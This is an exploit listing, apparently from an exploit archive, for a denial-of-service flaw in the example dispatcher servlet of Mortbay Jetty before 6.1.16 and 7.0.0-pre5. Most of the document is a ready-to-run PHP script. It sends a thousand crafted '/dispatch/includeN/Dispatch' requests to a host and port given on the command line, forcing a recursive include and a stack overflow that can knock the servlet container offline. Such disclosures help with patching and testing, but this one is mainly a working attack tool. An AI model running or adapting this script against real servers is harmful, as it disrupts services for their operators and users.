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Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet Denial of Service Exploit
[========================================================================
Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet Denial of Service Exploit
========================================================================
<?php
####################################################################################
# Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet DoS
#
# Affected Software: Jetty < 6.1.16, < 7.0.0.pre5 (all platforms)
# Author: Ikki (http://blog.nibblesec.org/)
#
# Description:
# The dispatcher servlet (com.acme.DispatchServlet) is prone to a DoS vulnerability.
# This example servlet is meant to be used as a resources dispatcher, however a
# malicious aggressor may abuse this functionality in order to cause a recursive
# inclusion. In detail, it is possible to abuse the method
# com.acme.DispatchServlet.doGet(DispatchServlet.java:203) forcing the application
# to recursively include the "DispatchServlet".
# As a result, it is possible to trigger a "java.lang.StackOverflowError" and
# consequently an internal server error (500). Multiple requests may easily affect
# the availability of the entire servlet container.
####################################################################################
error_reporting(E_ALL&E_NOTICE);
echo("\n\n :: Jetty Dispatcher Servlet DoS - http://blog.nibblesec.org ::\n");
echo(" :: Affected Software: Jetty < 6.1.16, < 7.0.0.pre5 - all platforms :: \n\n");
if($argc==3){
$cont=0;
$reqNum=1000;
$req = "GET /dispatch/includeN/Dispatch HTTP/1.0\r\n";
$req .= "Host: ".$argv[1]."\r\n";
$req .= "\r\n";
while($cont<$reqNum){
$sock = fsockopen($argv[1],$argv[2],$errno,$errstr,30);
if(!$sock){
echo "\nNo response from ".$argv[1];
die;
}
fwrite($sock,$req);
fclose($sock);
echo(".");
$cont++;
}
echo ("\n\nCheck your servlet container, after " . $reqNum . " requests:\n" . "http://" . $argv[1] . ":" . $argv[2] . "/");
}else{
echo("\nphp " . $argv[0] . " <host> <port>\n\n");
}
# 0day.today [2024-06-23] #